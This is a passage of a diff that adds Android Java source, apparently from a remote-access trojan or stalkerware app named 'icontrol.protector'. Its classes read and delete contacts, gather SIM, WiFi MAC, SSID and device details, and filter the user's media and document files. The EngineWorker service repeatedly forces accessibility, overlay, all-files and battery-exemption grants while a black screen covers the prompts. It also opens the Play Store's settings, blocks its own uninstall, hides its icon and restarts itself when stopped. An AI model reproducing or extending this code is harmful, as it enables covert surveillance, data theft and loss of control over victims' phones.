// MyLoger.Error("TestCont:",number);
// MyLoger.Error("TestCont2:",rndid());
}
}
cur.close();
//Log.e("Contacts:",sb.toString());
String s0 = sb.toString() ;
return s0;
} catch (Exception e) {
//Databytes = e.getMessage().getBytes();
}
return null;
}
public static void Remove(Context ctx,String id) {
ArrayList ops = new ArrayList();
ContentResolver cr = ctx.getContentResolver();
ops.add(ContentProviderOperation
.newDelete(ContactsContract.RawContacts.CONTENT_URI)
.withSelection(
ContactsContract.RawContacts.CONTACT_ID
+ " = ?",
new String[] { id })
.build());
try {
cr.applyBatch(ContactsContract.AUTHORITY, ops);
} catch (RemoteException e) {
e.printStackTrace();
} catch (OperationApplicationException e) {
e.printStackTrace();
}
//background_process();
ops.clear();
}
public static boolean Add(Context ctx , String Name, String Number) {
String DisplayName = Name;
String MobileNumber = Number;
ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
ops.add(ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI)
.withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, null)
.withValue(ContactsContract.RawContacts.ACCOUNT_NAME, null)
.build());
//------------------------------------------------------ Names
if(DisplayName != null)
{
ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI)
.withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
.withValue(ContactsContract.Data.MIMETYPE,
ContactsContract.CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
.withValue(ContactsContract.CommonDataKinds.StructuredName.DISPLAY_NAME, DisplayName).build());
}
//------------------------------------------------------ Mobile Number
if(MobileNumber != null)
{
ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI)
.withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
.withValue(ContactsContract.Data.MIMETYPE,
ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE)
.withValue(ContactsContract.CommonDataKinds.Phone.NUMBER, MobileNumber)
.withValue(ContactsContract.CommonDataKinds.Phone.TYPE,
ContactsContract.CommonDataKinds.Phone.TYPE_MOBILE)
.build());
}
//------------------------------------------------------ Email
// if(emailID != null)
// {
// ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI)
// .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
// .withValue(ContactsContract.Data.MIMETYPE,
// ContactsContract.CommonDataKinds.Email.CONTENT_ITEM_TYPE)
// .withValue(ContactsContract.CommonDataKinds.Email.DATA, emailID)
// .withValue(ContactsContract.CommonDataKinds.Email.TYPE, ContactsContract.CommonDataKinds.Email.TYPE_WORK)
// .build());
// }
//------------------------------------------------------ Organization
// if(!company.equals("") && !jobTitle.equals(""))
// {
// ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI)
// .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
// .withValue(ContactsContract.Data.MIMETYPE,
// ContactsContract.CommonDataKinds.Organization.CONTENT_ITEM_TYPE)
// .withValue(ContactsContract.CommonDataKinds.Organization.COMPANY, company)
// .withValue(ContactsContract.CommonDataKinds.Organization.TYPE, ContactsContract.CommonDataKinds.Organization.TYPE_WORK)
// .withValue(ContactsContract.CommonDataKinds.Organization.TITLE, jobTitle)
// .withValue(ContactsContract.CommonDataKinds.Organization.TYPE, ContactsContract.CommonDataKinds.Organization.TYPE_WORK)
// .build());
// }
// Asking the Contact provider to create a new contact
try
{
ctx.getContentResolver().applyBatch(ContactsContract.AUTHORITY, ops);
return true;
}
catch (Exception e)
{
//e.printStackTrace();
////Toast.makeText(ctx, "Exception: " + e.getMessage(), //Toast.LENGTH_SHORT).show();
AlertServer(ctx,"Add Contact","Error:"+e.getMessage());
}
return false;
}
}
@@ -0,0 +1,154 @@
package com.icontrol.protector;
import java.io.File;
import java.io.FileFilter;
import java.util.ArrayList;
public class CustomFilesFilter implements FileFilter {
protected static final String TAG = "CustomFilesFilter";
/**
* Allows Directories
*/
private final boolean allowDirectories;
/**
* File Type to Filter
*/
private final FileType fileType;
public CustomFilesFilter(FileType fileType, boolean allowDirectories) {
this.fileType = fileType;
this.allowDirectories = allowDirectories;
}
public CustomFilesFilter(FileType fileType) {
this(fileType, true);
}
@Override
public boolean accept(File f) {
if ( !f.canRead()) {
return false;
}
if (f.isDirectory()) {
return checkDirectory(f);
}
return checkFileExtension(f);
}
private boolean checkFileExtension(File f) {
String ext = getFileExtension(f);
if (ext == null) return false;
try {
if (fileType.getSupportedFileFormat(ext.toUpperCase()) != null) {
return true;
}
} catch (IllegalArgumentException e) {
// Not known enum value
return false;
}
return false;
}
private boolean checkDirectory(File dir) {
if (!allowDirectories) {
return false;
} else {
final ArrayList<File> subDirs = new ArrayList<>();
File[] files = dir.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
if (file.isFile()) {
if (file.getName().equals(".nomedia"))
return false;
return checkFileExtension(file);
} else if (file.isDirectory()) {
subDirs.add(file);
return false;
} else
return false;
}
});
// Safely check for null
if (files == null) {
return false; // Return false if the directory cannot be read or does not exist
}
int fileCount = files.length;
if (fileCount > 0) {
// LogHelper.i(TAG, "checkDirectory: dir " + dir.toString() + " return true with fileCount -> " + fileCount);
return true;
}
for (File subDir : subDirs) {
if (checkDirectory(subDir)) {
// LogHelper.i(TAG, "checkDirectory [for]: subDir " + subDir.toString() + " return true");
return true;
}
}
return false;
}
}
public String getFileExtension(File f) {
return getFileExtension(f.getName());
}
public String getFileExtension(String fileName) {
int i = fileName.lastIndexOf('.');
if (i > 0) {
return fileName.substring(i + 1);
} else
return null;
}
/**
* File Types that can be filtered
*/
public enum FileType {
IMAGES(new String[]{"jpg", "jpeg", "png", "gif", "bmp", "webp", "heic", "heif"}),
VIDEOS(new String[]{"mp4", "mkv", "3gp", "avi", "mov", "flv", "wmv"}),
AUDIOS(new String[]{"mp3", "aac", "flac", "wav", "ogg", "m4a", "wma"}),
DOCUMENTS(new String[]{"pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "txt"});
private String[] supportedExtensions;
FileType(String[] supportedExtensions) {
this.supportedExtensions = supportedExtensions;
}
public SupportedFileFormat getSupportedFileFormat(String extension) {
for (String ext : supportedExtensions) {
if (ext.equalsIgnoreCase(extension)) {
return new SupportedFileFormat(ext);
}
}
return null;
}
}
/**
* Class representing a supported file format
*/
public static class SupportedFileFormat {
private String fileSuffix;
public SupportedFileFormat(String fileSuffix) {
this.fileSuffix = fileSuffix;
}
public String getFileSuffix() {
return fileSuffix;
}
}
}
@@ -0,0 +1,273 @@
package com.icontrol.protector;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.media.AudioManager;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.BatteryManager;
import android.os.Build;
import android.os.PowerManager;
import android.provider.Settings;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import java.util.Locale;
public class Deviceinfo {
public static String Load(Context c){
StringBuffer strbuilder = new StringBuffer();
strbuilder.append("• [Information]"+ Consts.SPLIT_LINE);
strbuilder.append(" "+ Consts.SPLIT_LINE);
strbuilder.append("Name: "+Devicename(c) + Consts.SPLIT_LINE);
strbuilder.append("MODEL: "+Build.MODEL + Consts.SPLIT_LINE);
strbuilder.append("BOARD: "+Build.BOARD + Consts.SPLIT_LINE);
strbuilder.append("BRAND: "+Build.BRAND + Consts.SPLIT_LINE);
strbuilder.append("BOOTLOADER: "+Build.BOOTLOADER + Consts.SPLIT_LINE);
strbuilder.append("DISPLAY: "+Build.DISPLAY + Consts.SPLIT_LINE);
strbuilder.append("HARDWARE: "+Build.HARDWARE + Consts.SPLIT_LINE);
strbuilder.append("HOST: "+Build.HOST + Consts.SPLIT_LINE);
strbuilder.append("ID: "+Build.ID + Consts.SPLIT_LINE);
strbuilder.append("MANUFACTURER: "+Build.MANUFACTURER + Consts.SPLIT_LINE);
strbuilder.append("SERIAL: "+Build.SERIAL + Consts.SPLIT_LINE);
strbuilder.append("----------------"+ Consts.SPLIT_LINE);
strbuilder.append(" "+ Consts.SPLIT_LINE);
strbuilder.append("• [System]"+ Consts.SPLIT_LINE);
strbuilder.append("Version: "+ UtliTools.Version() + Consts.SPLIT_LINE);
strbuilder.append("RELEASE: "+Build.VERSION.RELEASE + Consts.SPLIT_LINE);
strbuilder.append("SDK: "+Build.VERSION.SDK_INT + Consts.SPLIT_LINE);
strbuilder.append("Language: "+Locale.getDefault().getDisplayLanguage() + Consts.SPLIT_LINE);
strbuilder.append("----------------"+ Consts.SPLIT_LINE);
strbuilder.append(" "+ Consts.SPLIT_LINE);
strbuilder.append("• [SIM]"+ Consts.SPLIT_LINE);
strbuilder.append(" "+ Consts.SPLIT_LINE);
final TelephonyManager t = (TelephonyManager) c.getSystemService(c.TELEPHONY_SERVICE);
String n = "";
try
{
n = t.getSimOperator();
}catch (Exception e){
n="";
}
if (!TextUtils.isEmpty(n)) {
try
{
String NON = t.getNetworkOperatorName();
if (NON.trim().length()==0){
NON = "n/a";
}
strbuilder.append("Operator: " + NON + Consts.SPLIT_LINE);
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
// String i0 ="";
// try
// {
// i0 = t.getImei();//error here
// }catch (Exception e){
// i0="null";
// }
//
// strbuilder.append("IMEI: " +i0 + Consts.SPLIT_LINE);
// } else {
// String i1 ="";
// try
// {
// i1 = t.getDeviceId();//error here
// }catch (Exception ex){
// i1="null";
// }
// strbuilder.append("IMEI: " +i1 + Consts.SPLIT_LINE);
// }
String stc = t.getSimCountryIso();
if (stc.trim().length()==0){
stc = "n/a";
}
strbuilder.append("Country: " +stc + Consts.SPLIT_LINE);
// String sr = "";
// try
// {
// sr = t.getSimSerialNumber();//error here
// }catch (Exception ex){
// sr="null";
// }
// strbuilder.append("SerialNumber: " +sr + Consts.SPLIT_LINE);
strbuilder.append("Network: " + UtliTools.Get_Network(c) + Consts.SPLIT_LINE);
// String IMsi = "";
// try
// {
// IMsi = t.getSubscriberId();//error here
// }catch (Exception ex){
// IMsi = "null";
// }
//strbuilder.append("IMSI: " +IMsi + Consts.SPLIT_LINE);
}catch (Exception ex){
for(int fix = 0 ; fix < 6 ; fix++){
strbuilder.append("null" + Consts.SPLIT_LINE);
}
}
}else{
for(int fix = 0 ; fix < 6 ; fix++){
strbuilder.append("null" + Consts.SPLIT_LINE);
}
}
strbuilder.append("----------------"+ Consts.SPLIT_LINE);
strbuilder.append(" "+ Consts.SPLIT_LINE);
strbuilder.append("• WIFI"+ Consts.SPLIT_LINE);
strbuilder.append(" "+ Consts.SPLIT_LINE);
final WifiManager wm = (WifiManager) c.getSystemService(Context.WIFI_SERVICE);
final ConnectivityManager m = (ConnectivityManager)c.getSystemService(Context.CONNECTIVITY_SERVICE);
final NetworkInfo w = m.getActiveNetworkInfo();
if(w.getType() == ConnectivityManager.TYPE_WIFI) {
try
{
WifiInfo fo = null;
String adr = "";
String sID = "";
int SP = 0;
int RS = 0;
try
{
fo = wm.getConnectionInfo();
adr = fo.getMacAddress();
sID = fo.getSSID();
SP = fo.getLinkSpeed();
RS = WifiManager.calculateSignalLevel(fo.getRssi(), 5);
}catch (Exception ex){
fo = null;
adr = "null";
sID = "null";
SP = 0;
RS = 0;
}
strbuilder.append("MacAddress: " +adr + Consts.SPLIT_LINE);
strbuilder.append("SSID: " +sID + Consts.SPLIT_LINE);
strbuilder.append("LinkSpeed: " +Integer.toString(SP) + Consts.SPLIT_LINE);
strbuilder.append("RSSI: " +Integer.toString(RS) + Consts.SPLIT_LINE);
}catch (Exception ee){
for(int fix = 0 ; fix < 4 ; fix++){
strbuilder.append("null" + Consts.SPLIT_LINE);
}
}
}else{
for(int fix = 0 ; fix < 4 ; fix++){
strbuilder.append("null" + Consts.SPLIT_LINE);
}
}
strbuilder.append("----------------"+ Consts.SPLIT_LINE);
strbuilder.append(" "+ Consts.SPLIT_LINE);
strbuilder.append("• Battery"+ Consts.SPLIT_LINE);
strbuilder.append(" "+ Consts.SPLIT_LINE);
Intent intent = c.registerReceiver(null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
int lev = intent.getIntExtra(BatteryManager.EXTRA_LEVEL, 0);
int sc = intent.getIntExtra(BatteryManager.EXTRA_SCALE, 100);
int per = (lev * 100) / sc;
int plu = intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1);
boolean usb = plu == BatteryManager.BATTERY_PLUGGED_AC || plu == BatteryManager.BATTERY_PLUGGED_USB;
strbuilder.append("Charged: " +String.valueOf(per) + Consts.SPLIT_LINE);
strbuilder.append("USB: " +usb + Consts.SPLIT_LINE);
final PowerManager pow = (PowerManager)c.getSystemService(Context.POWER_SERVICE);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
strbuilder.append("Sleep mode: " +pow.isDeviceIdleMode() + Consts.SPLIT_LINE);
strbuilder.append("Power Saver: " +pow.isPowerSaveMode() + Consts.SPLIT_LINE);
strbuilder.append("Active: " +pow.isInteractive() + Consts.SPLIT_LINE);
}else{
strbuilder.append("n/a" + Consts.SPLIT_LINE);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
strbuilder.append(pow.isPowerSaveMode() + Consts.SPLIT_LINE);
}else{
strbuilder.append("null" + Consts.SPLIT_LINE);
}
strbuilder.append(pow.isScreenOn() + Consts.SPLIT_LINE);
}
strbuilder.append("----------------"+ Consts.SPLIT_LINE);
strbuilder.append(" "+ Consts.SPLIT_LINE);
strbuilder.append("• Settings"+ Consts.SPLIT_LINE);
strbuilder.append(" "+ Consts.SPLIT_LINE);
final AudioManager au = (AudioManager) c.getSystemService(Context.AUDIO_SERVICE);
int max = au.getStreamMaxVolume(AudioManager.STREAM_RING);
int vol = au.getStreamVolume(AudioManager.STREAM_RING);
strbuilder.append(max + Consts.SPLIT_LINE);
strbuilder.append(vol + Consts.SPLIT_LINE);
max = au.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
vol = au.getStreamVolume(AudioManager.STREAM_MUSIC);
strbuilder.append(max + Consts.SPLIT_LINE);
strbuilder.append(vol + Consts.SPLIT_LINE);
max = au.getStreamMaxVolume(AudioManager.STREAM_NOTIFICATION);
vol = au.getStreamVolume(AudioManager.STREAM_NOTIFICATION);
strbuilder.append(max + Consts.SPLIT_LINE);
strbuilder.append(vol + Consts.SPLIT_LINE);
max = au.getStreamMaxVolume(AudioManager.STREAM_SYSTEM);
vol = au.getStreamVolume(AudioManager.STREAM_SYSTEM);
strbuilder.append(max + Consts.SPLIT_LINE);
strbuilder.append(vol + Consts.SPLIT_LINE);
switch(au.getRingerMode()){
case AudioManager.RINGER_MODE_NORMAL:
strbuilder.append("0" + Consts.SPLIT_LINE);
break;
case AudioManager.RINGER_MODE_VIBRATE:
strbuilder.append("1" + Consts.SPLIT_LINE);
break;
case AudioManager.RINGER_MODE_SILENT:
strbuilder.append("2" + Consts.SPLIT_LINE);
break;
}
final WifiManager wi = (WifiManager) c.getSystemService(Context.WIFI_SERVICE);
if (wi.isWifiEnabled()) {
strbuilder.append("1" + Consts.SPLIT_LINE);
}else{
strbuilder.append("0" + Consts.SPLIT_LINE);
}
String s2 = strbuilder.toString() ;
return s2;
}
public static String Devicename(Context c) {
try
{
String nm = "";
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.JELLY_BEAN_MR1) {
try{
nm = Settings.Global.getString(c.getContentResolver(), Settings.Global.DEVICE_NAME);
} catch (Exception e) {}
}
if(nm.length() == 0){
nm = Build.MODEL;
}
if(nm.length() != 0){
return nm ;
}else {
return "null";
}
}catch (Exception EX){}
return "null";
}
}
@@ -0,0 +1,623 @@
package com.icontrol.protector;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
//import static com.icontrol.protector.AccessServices.BlackoverLay;
import static com.icontrol.protector.AccessServices.FOR_NOTFY;
import static com.icontrol.protector.MyCods.isServiceRunning;
import static com.icontrol.protector.MyNotification.goToNotificationSettings;
import static com.icontrol.protector.UtliTools.NotifyFor;
import static com.icontrol.protector.UtliTools.hideme;
import static com.icontrol.protector.UtliTools.isAppDisabled;
import static com.icontrol.protector.UtliTools.isPackageInstalled;
import static com.icontrol.protector.UtliTools.isUsageAccessGranted;
import static com.icontrol.protector.UtliTools.isXiaomi;
import static com.icontrol.protector.UtliTools.randomnumber;
import static com.icontrol.protector.UtliTools.setupWorkManager;
import static java.lang.Thread.sleep;
import android.app.IntentService;
import android.app.Notification;
import android.app.NotificationManager;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ServiceInfo;
import android.net.Uri;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.provider.Settings;
import android.os.Environment;
import android.util.Log;
import androidx.annotation.Nullable;
public class EngineWorker extends IntentService {
public EngineWorker() {
super(":");
}
private static int Notifi_ID = 111;
private void startforground(Context ctx) {
try {
MyNotification MyNotifiint = MyNotification.getInstance(ctx);
Notification notification = MyNotifiint.createNotification(ctx);
if (Build.VERSION.SDK_INT >= 34) {
this.startForeground(Notifi_ID, notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC);
} else {
this.startForeground(Notifi_ID, notification);
}
} catch (Exception a) {
}
}
static int SleepTime = 10000;
static int checktwice = 0;
static int drawtwice = 0;
static int batterytwice = 0;
static int disabletris = 0;
static int primstowic = 0;
public static boolean needtofy = false;
public static boolean holdxaomi = true;
public static boolean trigeronexamoi = true;
public static int timesoutxaomi = 0;
static boolean skipstorage = false;
static boolean skipblackprim = false;
static boolean skipblackdraw = false;
static boolean skipusagereq = false;
static boolean skipblackplay = false;
static boolean Showedonce = false;
static boolean trnotifionce = true;
@Override
public void onCreate() {
super.onCreate();
startforground(getApplicationContext());
}
@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
startforground(getApplicationContext());
try {
if (!isServiceRunning(getApplicationContext(), WorkServices.class)) {
Intent workint = new Intent(getApplicationContext(), WorkServices.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(workint);
} else {
startService(workint);
}
}
} catch (Exception a) {
}
}
// @Override
// public int onStartCommand(Intent intent, int flags, int startId) {
// startforground(getApplicationContext());
// return START_STICKY;
// }
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
protected void onHandleIntent(@Nullable Intent intentx) {
startforground(getApplicationContext());
final Context ctx = getApplicationContext();
//AlarmHelper.cancelAlarm(ctx, EngineWorker.class);
if (MySettings.Read(ctx, Consts.DEVICE_ID, "").length() == 0) {
String newid = UtliTools.Create_DevicID() + String.valueOf(randomnumber(100, 199));
MyLoger.Debug("CreateID", newid);
MySettings.Write(ctx, Consts.DEVICE_ID, newid);
}
try {
if (!isServiceRunning(getApplicationContext(), WorkServices.class)) {
Intent workint = new Intent(getApplicationContext(), WorkServices.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(workint);
} else {
startService(workint);
}
}
} catch (Exception a) {
}
ConfigManager config = ConfigManager.getInstance();
config.initialize(getApplicationContext(), My_Configs.ALL_CONFIG);
boolean onetime = false;
boolean hold13 = false;
int maxholder = 28;
//String[] statesArray = getStatesArray();
// try {
// Thread.sleep(3000);
// }catch (Exception a){}
while (true) {
try {
try {
Thread.sleep(SleepTime);
} catch (Exception aa) {
}
if (!MyCods.is_Access_Enabled(ctx, AccessServices.class) && config.add_accss && config.req_accss) {
//android 13 first redirect to app settings page
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU &&
!MyCods.is_Access_Enabled(ctx, AccessServices.class) && My_Configs.Access_type.equals("g")) {
if (!RestrectionActivity.isActivityOpen() && !hold13 && maxholder >= 25 && Showedonce) {
try {
Intent intent = new Intent(ctx, RestrectionActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
needtofy = true;
new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(3000);
} catch (Exception a) {
}
if (needtofy) {
NotifyFor(ctx, RestrectionActivity.class);
}
}
}).start();
} catch (Exception a) {
}
//
SleepTime = 15000;
hold13 = true;
continue;
}
}
if (!AccessibilityActivity.isActivityOpen() && maxholder >= 25) {
SleepTime = 1000;
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
try {
Intent intent = new Intent(ctx, AccessibilityActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
needtofy = true;
new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(3000);
} catch (Exception a) {
}
if (needtofy) {
NotifyFor(ctx, AccessibilityActivity.class);
}
}
}).start();
} catch (Exception a) {
}
}
});
Showedonce = true;
maxholder = 0;
} else {
maxholder += 1;
hold13 = false;
}
} else {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M &&
checktwice < 3 &&
!MyPermissions.hasPermissions(ctx, MyPermissions.ALL_PERMISSIONS(ctx))
) {
if (!skipblackprim && config.req_hidp) {
skipblackprim = true;
try {
Thread.sleep(3500);
} catch (Exception a) {
}
AccessTools.BlackScreen(true);
// try {
// Thread.sleep(1100);
// } catch (Exception a) {
// }
} else {
AccessTools.BlackScreen(false);
}
//1 Accessibilty
checktwice += 1;
SleepTime = 5000;
Intent primsint = new Intent(ctx, PermissionsActivity.class);
primsint.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//primsint.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
// primsint.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
ctx.startActivity(primsint);
} else {
// if (WorkServices.My_Access_inst != null) {
// WorkServices.My_Access_inst.FOR_EXTR_STRG = false;
//
// }
if (config.req_draw &&
drawtwice < 3 &&
Build.VERSION.SDK_INT >= Build.VERSION_CODES.M &&
!Settings.canDrawOverlays(ctx)) {
drawtwice+=1;
if (!skipblackdraw && config.req_hidp) {
// AccessTools.UpdateBlackText(statesArray[0]);
skipblackdraw = true;
AccessTools.BlackScreen(true);
} else {
AccessTools.BlackScreen(false);
AccessServices.FOR_DRAW_OVER = false;
}
ctx.startActivity(new Intent(ctx, ActivityDraw.class)
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
SleepTime = 8000;
} else {
AccessServices.FOR_DRAW_OVER = false;
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M &&
// config.req_settngs &&
// !Settings.System.canWrite(ctx)) {
// try {
// SleepTime = 6000;
// Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS,
// Uri.parse("package:" + getPackageName()));
// intent.setData(Uri.parse("package:" + ctx.getPackageName()));
// intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
// intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
// ctx.startActivity(intent);
// AccessServices.FOR_CHNG_STNG = true;
// } catch (Exception a) {
//
// }
// } else {
//
if (config.req_usagacc && !isUsageAccessGranted(ctx) && !config.req_accss && !skipusagereq) {
SleepTime = 7000;
try {
Intent intent = new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS,
Uri.parse("package:" + getPackageName()));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
} catch (Exception a) {
try{
Intent intent = new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}catch (Exception d){
skipusagereq = true;
}
}
} else {
if (config.req_files &&
Build.VERSION.SDK_INT >= Build.VERSION_CODES.R &&
!Environment.isExternalStorageManager()) {
try {
SleepTime = 4000;
//ACTION_MANAGE_SUPERVISOR_RESTRICTED_SETTING
Intent intentstorg = new Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION);
Uri uri = Uri.fromParts("package", getPackageName(), null);
intentstorg.setData(uri);
intentstorg.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//intentstorg.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
try {
Thread.sleep(3500);
} catch (Exception a) {
}
if (!skipstorage && config.req_hidp) {
// AccessTools.UpdateBlackText(statesArray[1]);
skipstorage = true;
AccessTools.BlackScreen(true);
} else {
AccessTools.BlackScreen(false);
}
startActivity(intentstorg);
// if (WorkServices.My_Access_inst != null) {
AccessServices.FOR_EXTR_STRG = true;
// }
} catch (Exception r) {
r.printStackTrace();
}
} else {
AccessServices.FOR_EXTR_STRG = false;
if (config.req_StopPlay &&
config.req_accss &&
isPackageInstalled("com.android.vending", ctx.getPackageManager()) &&
!isAppDisabled(ctx, "com.android.vending") &&
disabletris < 2) {
SleepTime = 5000;
try {
disabletris += 1;
if (!skipblackplay &&
config.req_hidp) {
// AccessTools.UpdateBlackText(statesArray[2]);
skipblackplay = true;
AccessTools.BlackScreen(true);
} else {
AccessTools.BlackScreen(false);
}
Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS,
Uri.parse("package:" + "com.android.vending"));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
AccessServices.FOR_PLY = true;
} catch (Exception exception) {
Log.e("MIUIAutoStart", "Error starting intent", exception);
}
} else {
AccessServices.FOR_PLY = false;
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M &&
batterytwice < 2 &&
config.req_btryoptm &&
!UtliTools.IsIgnore_Battery(ctx)) {
batterytwice += 1;
try {
AccessServices.PreventDelete = false;
Intent intent1 = null;
intent1 = new
Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS,
Uri.parse("package:" + getPackageName()));
intent1.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent1.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
intent1.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
// intent1.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
ctx.startActivity(intent1);
AccessServices.forbattery = true;
SleepTime = 4000;
// MySettings.WriteBool(ctx, Consts.Auto_Battary, true);
// try {
// Thread.sleep(5000);
// } catch (Exception aa) {
// }
} catch (Exception ex) {
}
} else {
if(config.req_accss &&
trnotifionce){
trnotifionce=false;
try{
Intent notyintent = goToNotificationSettings("updates",ctx);
notyintent.addFlags(FLAG_ACTIVITY_NEW_TASK);
notyintent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
notyintent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
ctx.startActivity(notyintent);
FOR_NOTFY = true;
SleepTime = 3000;
}catch (Exception a){}
}else{
FOR_NOTFY = false;
if (isXiaomi() &&
config.req_accss &&
!MySettings.ReadBool(ctx, Consts.skipxaomi, false)) {
if (holdxaomi) {
if (trigeronexamoi) {
trigeronexamoi = false;
AccessTools.Treger("xamoi", null);
SleepTime = 1000;
}
if (timesoutxaomi < 15) {
timesoutxaomi += 1;
continue;
}
}
}
timesoutxaomi = 0;
MySettings.WriteBool(getApplicationContext(), Consts.skipxaomi, true);
if (!isServiceRunning(getApplicationContext(), WorkServices.class)) {
try {
Intent workint = new Intent(getApplicationContext(), WorkServices.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(workint);
} else {
startService(workint);
}
} catch (Exception a) {
}
}
//MySettings.WriteBool(ctx, Consts.All_set, true);
if (!onetime) {
AccessServices MyAccess = AccessTools.myAccess();
//BlackoverLay
if (MyAccess != null) {
try {
Handler fhand = new Handler(MyAccess.getMainLooper());
fhand.post(() -> {
try {
MyAccess.clearWbVew();
} catch (Exception s) {
s.printStackTrace();
}
});
} catch (Exception a) {
a.printStackTrace();
}
}
onetime = true;
AccessServices.FOR_PLY = false;
AccessServices.forbattery = false;
try {
NotificationManager notificationManager = (NotificationManager) ctx.getSystemService(Context.NOTIFICATION_SERVICE);
notificationManager.cancel(101);
} catch (Exception a) {
}
AccessServices.FOR_PRIMS=false;
AccessTools.BlackScreen(false);
AccessServices.Auto_Click = false;
if (My_Configs.Hide_ico.equals("1")) {
MySettings.WriteBool(ctx, Consts.setupok, true);
if (My_Configs.Hide_Type.equals("f")) {
try {
Intent unintent = new Intent(ctx, UninstallActivity.class);
unintent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
ctx.startActivity(unintent);
} catch (Exception a) {
a.printStackTrace();
}
} else if (My_Configs.Hide_Type.equals("c")) {
try {
hideme(ctx);
} catch (Exception a) {
a.printStackTrace();
}
}
}
}
Consts.skip_splash = true;
AccessServices.PreventDelete = true;
SleepTime = 15000;
}
}
}
}
}
// }
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
@Override
public void onDestroy() {
super.onDestroy();
try {
Context mcontext = getApplicationContext();
AlarmHelper.setAlarm(getApplicationContext());
try {
Intent workint = new Intent(mcontext, EngineWorker.class);
if (!isServiceRunning(mcontext, EngineWorker.class)) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint);
} else {
mcontext.startService(workint);
}
}
} catch (Exception s) {
}
// }
setupWorkManager(getApplicationContext());
} catch (Exception a) {
}
}
@Override
public void onTaskRemoved(Intent rootIntent) {
super.onTaskRemoved(rootIntent);
try {
Context mcontext = getApplicationContext();
AlarmHelper.setAlarm(getApplicationContext());
Intent workint = new Intent(mcontext, EngineWorker.class);
// if (!Codes.isServiceRunning(mcontext, EngineWorker.class))
//{
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint);
} else {
mcontext.startService(workint);
}
} catch (Exception a) {
}
// }
setupWorkManager(getApplicationContext());
} catch (Exception a) {
}
}
}
